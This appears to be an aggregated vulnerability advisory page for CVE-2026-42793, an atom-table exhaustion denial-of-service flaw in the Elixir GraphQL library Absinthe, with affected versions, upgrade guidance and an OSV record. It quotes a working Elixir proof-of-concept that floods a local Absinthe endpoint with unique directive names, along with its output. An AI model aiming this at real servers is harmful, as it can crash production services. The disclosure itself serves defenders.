CVE-2026-42793: Absinthe Unbounded Atom Creation From Parsed Vulnerability

HIGH
Advisory Identifier: GHSA-qf4g-9fqq-mmm7
CWE-770
Published
Advisory Summary

CVE-2026-42793 is a HIGH unbounded atom creation from parsed vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Absinthe libraries in the Hex ecosystem. The issue involves unbounded atom creation from parsed directive name. Remediation is available by upgrading affected packages to version 1.10.2.

CVE-2026-42793 at a Glance

CVE Identifier CVE-2026-42793
GHSA Identifier GHSA-qf4g-9fqq-mmm7
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Absinthe
Package Ecosystem Hex
Published Date
Last Updated

How to Fix CVE-2026-42793

To remediate this vulnerability, upgrade all affected Absinthe dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

absinthe fixed: 1.10.2
Upgrade absinthe to 1.10.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for absinthe

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-42793, inspect your project dependencies for Absinthe:

inspect dependencies for absinthe

Analyze the terminal output to locate any version of Absinthe in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.10.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Absinthe, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary When Absinthe parses a GraphQL SDL document, every `directive @<name>` definition is converted into a freshly created atom without any allow-list or length cap. Because atoms are never garbage-collected and the BEAM has a hard ~1,048,576 atom-table limit, any application that feeds attacker-controlled SDL through Absinthe's parser can be crashed (whole VM termination) by submitting a document containing enough unique directive names. Introduced in https://github.com/absinthe-graphql/absinthe/commit/d0eae7764520d4e8e5dfff619068c0de911aec33 ### Details In `lib/absinthe/language/directive_definition.ex:27`, the `Blueprint.from_ast/2` conversion does: ```elixir Macro.underscore(node.name) |> String.to_atom() ``` `node.name` is taken verbatim from the parsed GraphQL document, so the atom is created before the directive has been validated against any known schema. There is no use of `String.to_existing_atom/1`, no length cap, and no allow-list. Each unique directive name in the input permanently consumes one slot in the global atom table. Any code path that runs `Absinthe.Phase.Parse` (or any equivalent that ultimately calls `Absinthe.Blueprint.Draft.convert/2` on a parsed `DirectiveDefinition` node) on untrusted text is exposed — for example, a schema-upload endpoint, a federation gateway that ingests remote SDL, an introspection-to-SDL converter, or any developer tool that runs the parser over user-supplied documents. An attacker only needs to submit one (or a handful of) SDL documents that together contain ~1M unique `directive @<random>` definitions to exhaust the atom table and crash the BEAM. The same vulnerablity was found in these files as well: - `lib/absinthe/language/enum_type_definition.ex:23` - `lib/absinthe/language/field_definition.ex:27` - `lib/absinthe/language/input_object_type_definition.ex:24` - `lib/absinthe/language/input_value_definition.ex:31` - `lib/absinthe/language/interface_type_definition.ex:26` - `lib/absinthe/language/object_type_definition.ex:27` - `lib/absinthe/language/scalar_type_definition.ex:23` - `lib/absinthe/language/union_type_definition.ex:24` - maybe others too. Please do a search&replace in the whole project. ### PoC A script that parses a generated SDL document containing many unique `directive @<random>` definitions through Absinthe and demonstrates unbounded atom-table growth (eventually crashing the VM) is attached at the end of this report. ### Impact This is an unauthenticated denial-of-service vulnerability (atom-table exhaustion leading to BEAM VM crash) affecting any application that passes untrusted GraphQL SDL through Absinthe's parser. The crash takes down the entire Erlang node, not just the request handler, so all unrelated workloads sharing the VM are also impacted. The only precondition is that attacker-controlled text reaches the SDL parser; no authentication, schema privileges, or query execution are required. ## Scripts and Logs ```elixir # Verifies: Unbounded atom creation from parsed directive name Mix.install([ {:absinthe, "~> 1.7"}, {:absinthe_plug, "~> 1.5"}, {:bandit, "~> 1.5"}, {:plug, "~> 1.16"}, {:jason, "~> 1.4"}, {:req, "~> 0.5"} ]) # Minimal Absinthe schema -- the only thing it needs to do is exist # so that Absinthe.Plug will parse incoming GraphQL documents. defmodule DemoSchema do use Absinthe.Schema query do field :hello, :string do resolve fn _, _, _ -> {:ok, "world"} end end end end # Standard absinthe_plug HTTP entry point. This is the public # trust boundary: anyone who can reach the server can POST a # GraphQL document, which Absinthe will parse and lower into a # Blueprint -- the path that mints atoms from directive names. defmodule Router do use Plug.Router plug Plug.Parsers, parsers: [:urlencoded, :multipart, :json, Absinthe.Plug.Parser], pass: ["*/*"], json_decoder: Jason plug :match plug :dispatch forward "/graphql", to: Absinthe.Plug, init_opts: [schema: DemoSchema] match _ do send_resp(conn, 404, "not found") end end port = 41_731 {:ok, server_pid} = Bandit.start_link(plug: Router, port: port, startup_log: false) base = "http://127.0.0.1:#{port}/graphql" # Attacker-controlled GraphQL document: a flood of unique directive # definitions plus a trivial operation. Absinthe parses the whole # document and converts each DirectiveDefinition AST node into a # Blueprint, calling String.to_atom/1 on every directive name along # the way (lib/absinthe/language/directive_definition.ex:27). n = 5_000 random_tag = :crypto.strong_rand_bytes(4) |> Base.encode16(case: :lower) directives = 1..n |> Enum.map_join("\n", fn i -> "directive @atomdos_#{random_tag}_#{i} on FIELD" end) document = directives <> "\nquery { hello }\n" before_atoms = :erlang.system_info(:atom_count) response = Req.post!(base, headers: [{"content-type", "application/graphql"}], body: document, receive_timeout: 60_000 ) after_atoms = :erlang.system_info(:atom_count) delta = after_atoms - before_atoms IO.puts("HTTP status: #{response.status}") IO.puts("payload directives: #{n}") IO.puts("atom_count before: #{before_atoms}") IO.puts("atom_count after: #{after_atoms}") IO.puts("delta: #{delta}") # Tear the listener down so the script can be re-run cleanly. Process.exit(server_pid, :normal) result = if delta >= n do "VERIFIED: a single HTTP POST to /graphql minted #{delta} new atoms (>= #{n} attacker-supplied directive names); BEAM atom table (~1,048,576 cap) is exhaustible by an outside attacker via Absinthe.Plug -> Absinthe.Language.DirectiveDefinition." else "NOT VERIFIED: only #{delta} new atoms were created for #{n} unique directive names sent over HTTP." end IO.puts(result) ``` ### Logs ```logs HTTP status: 200 payload directives: 5000 atom_count before: 26049 atom_count after: 32581 delta: 6532 VERIFIED: a single HTTP POST to /graphql minted 6532 new atoms (>= 5000 attacker-supplied directive names) ```

CVE-2026-42793 Affected Absinthe Versions

1 component(s)
Fixed Versions:
1.10.2
Product / Package Ecosystem Affected Versions Fixed Version
absinthe
Hex
≥ 1.5.0
< 1.10.2
1.10.2

References

Frequently Asked Questions

What is CVE-2026-42793?
CVE-2026-42793 is a security vulnerability in Absinthe involving Unbounded atom creation from parsed directive name under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Absinthe versions are affected?
Affected versions include releases prior to 1.10.2 across affected packages: absinthe.
What version fixes CVE-2026-42793?
Upgrading to 1.10.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is absinthe affected?
Yes, absinthe is affected in releases prior to 1.10.2. Upgrade your dependency to 1.10.2 or later.
What CWE is associated with CVE-2026-42793?
CVE-2026-42793 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Hex dependencies for CVE-2026-42793?
Run the dependency tree command: 'inspect dependencies for absinthe'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qf4g-9fqq-mmm7",
  "modified" : "2026-05-14T13:08:32Z",
  "published" : "2026-05-14T13:08:32Z",
  "aliases" : [ "CVE-2026-42793" ],
  "summary" : "Absinthe: Unbounded atom creation from parsed directive name",
  "details" : "### Summary\nWhen Absinthe parses a GraphQL SDL document, every `directive @<name>` definition is converted into a freshly created atom without any allow-list or length cap. Because atoms are never garbage-collected and the BEAM has a hard ~1,048,576 atom-table limit, any application that feeds attacker-controlled SDL through Absinthe's parser can be crashed (whole VM termination) by submitting a document containing enough unique directive names.\n\nIntroduced in https://github.com/absinthe-graphql/absinthe/commit/d0eae7764520d4e8e5dfff619068c0de911aec33\n\n### Details\nIn `lib/absinthe/language/directive_definition.ex:27`, the `Blueprint.from_ast/2` conversion does:\n\n```elixir\nMacro.underscore(node.name) |> String.to_atom()\n```\n\n`node.name` is taken verbatim from the parsed GraphQL document, so the atom is created before the directive has been validated against any known schema. There is no use of `String.to_existing_atom/1`, no length cap, and no allow-list. Each unique directive name in the input permanently consumes one slot in the global atom table.\n\nAny code path that runs `Absinthe.Phase.Parse` (or any equivalent that ultimately calls `Absinthe.Blueprint.Draft.convert/2` on a parsed `DirectiveDefinition` node) on untrusted text is exposed — for example, a schema-upload endpoint, a federation gateway that ingests remote SDL, an introspection-to-SDL converter, or any developer tool that runs the parser over user-supplied documents. An attacker only needs to submit one (or a handful of) SDL documents that together contain ~1M unique `directive @<random>` definitions to exhaust the atom table and crash the BEAM.\n\nThe same vulnerablity was found in these files as well:\n\n- `lib/absinthe/language/enum_type_definition.ex:23`\n- `lib/absinthe/language/field_definition.ex:27`\n- `lib/absinthe/language/input_object_type_definition.ex:24`\n- `lib/absinthe/language/input_value_definition.ex:31`\n- `lib/absinthe/language/interface_type_definition.ex:26`\n- `lib/absinthe/language/object_type_definition.ex:27`\n- `lib/absinthe/language/scalar_type_definition.ex:23`\n- `lib/absinthe/language/union_type_definition.ex:24`\n- maybe others too.\n\nPlease do a search&replace in the whole project.\n\n### PoC\nA script that parses a generated SDL document containing many unique `directive @<random>` definitions through Absinthe and demonstrates unbounded atom-table growth (eventually crashing the VM) is attached at the end of this report.\n\n### Impact\nThis is an unauthenticated denial-of-service vulnerability (atom-table exhaustion leading to BEAM VM crash) affecting any application that passes untrusted GraphQL SDL through Absinthe's parser. The crash takes down the entire Erlang node, not just the request handler, so all unrelated workloads sharing the VM are also impacted. The only precondition is that attacker-controlled text reaches the SDL parser; no authentication, schema privileges, or query execution are required.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded atom creation from parsed directive name\n\nMix.install([\n  {:absinthe, \"~> 1.7\"},\n  {:absinthe_plug, \"~> 1.5\"},\n  {:bandit, \"~> 1.5\"},\n  {:plug, \"~> 1.16\"},\n  {:jason, \"~> 1.4\"},\n  {:req, \"~> 0.5\"}\n])\n\n# Minimal Absinthe schema -- the only thing it needs to do is exist\n# so that Absinthe.Plug will parse incoming GraphQL documents.\ndefmodule DemoSchema do\n  use Absinthe.Schema\n\n  query do\n    field :hello, :string do\n      resolve fn _, _, _ -> {:ok, \"world\"} end\n    end\n  end\nend\n\n# Standard absinthe_plug HTTP entry point. This is the public\n# trust boundary: anyone who can reach the server can POST a\n# GraphQL document, which Absinthe will parse and lower into a\n# Blueprint -- the path that mints atoms from directive names.\ndefmodule Router do\n  use Plug.Router\n\n  plug Plug.Parsers,\n    parsers: [:urlencoded, :multipart, :json, Absinthe.Plug.Parser],\n    pass: [\"*/*\"],\n    json_decoder: Jason\n\n  plug :match\n  plug :dispatch\n\n  forward \"/graphql\", to: Absinthe.Plug, init_opts: [schema: DemoSchema]\n\n  match _ do\n    send_resp(conn, 404, \"not found\")\n  end\nend\n\nport = 41_731\n{:ok, server_pid} = Bandit.start_link(plug: Router, port: port, startup_log: false)\n\nbase = \"http://127.0.0.1:#{port}/graphql\"\n\n# Attacker-controlled GraphQL document: a flood of unique directive\n# definitions plus a trivial operation. Absinthe parses the whole\n# document and converts each DirectiveDefinition AST node into a\n# Blueprint, calling String.to_atom/1 on every directive name along\n# the way (lib/absinthe/language/directive_definition.ex:27).\nn = 5_000\nrandom_tag = :crypto.strong_rand_bytes(4) |> Base.encode16(case: :lower)\n\ndirectives =\n  1..n\n  |> Enum.map_join(\"\\n\", fn i ->\n    \"directive @atomdos_#{random_tag}_#{i} on FIELD\"\n  end)\n\ndocument = directives <> \"\\nquery { hello }\\n\"\n\nbefore_atoms = :erlang.system_info(:atom_count)\n\nresponse =\n  Req.post!(base,\n    headers: [{\"content-type\", \"application/graphql\"}],\n    body: document,\n    receive_timeout: 60_000\n  )\n\nafter_atoms = :erlang.system_info(:atom_count)\ndelta = after_atoms - before_atoms\n\nIO.puts(\"HTTP status:        #{response.status}\")\nIO.puts(\"payload directives: #{n}\")\nIO.puts(\"atom_count before:  #{before_atoms}\")\nIO.puts(\"atom_count after:   #{after_atoms}\")\nIO.puts(\"delta:              #{delta}\")\n\n# Tear the listener down so the script can be re-run cleanly.\nProcess.exit(server_pid, :normal)\n\nresult =\n  if delta >= n do\n    \"VERIFIED: a single HTTP POST to /graphql minted #{delta} new atoms (>= #{n} attacker-supplied directive names); BEAM atom table (~1,048,576 cap) is exhaustible by an outside attacker via Absinthe.Plug -> Absinthe.Language.DirectiveDefinition.\"\n  else\n    \"NOT VERIFIED: only #{delta} new atoms were created for #{n} unique directive names sent over HTTP.\"\n  end\n\nIO.puts(result)\n```\n\n\n### Logs\n\n```logs\nHTTP status:        200\npayload directives: 5000\natom_count before:  26049\natom_count after:   32581\ndelta:              6532\nVERIFIED: a single HTTP POST to /graphql minted 6532 new atoms (>= 5000 attacker-supplied directive names)\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "absinthe"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.5.0"
      }, {
        "fixed" : "1.10.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/absinthe-graphql/absinthe/security/advisories/GHSA-qf4g-9fqq-mmm7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42793"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/absinthe-graphql/absinthe/commit/dd842b938e3823f345c10416914ffab5d5536838"
  }, {
    "type" : "WEB",
    "url" : "https://cna.erlef.org/cves/CVE-2026-42793.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/absinthe-graphql/absinthe"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/EEF-CVE-2026-42793"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T13:08:32Z",
    "nvd_published_at" : "2026-05-08T16:16:12Z"
  }
}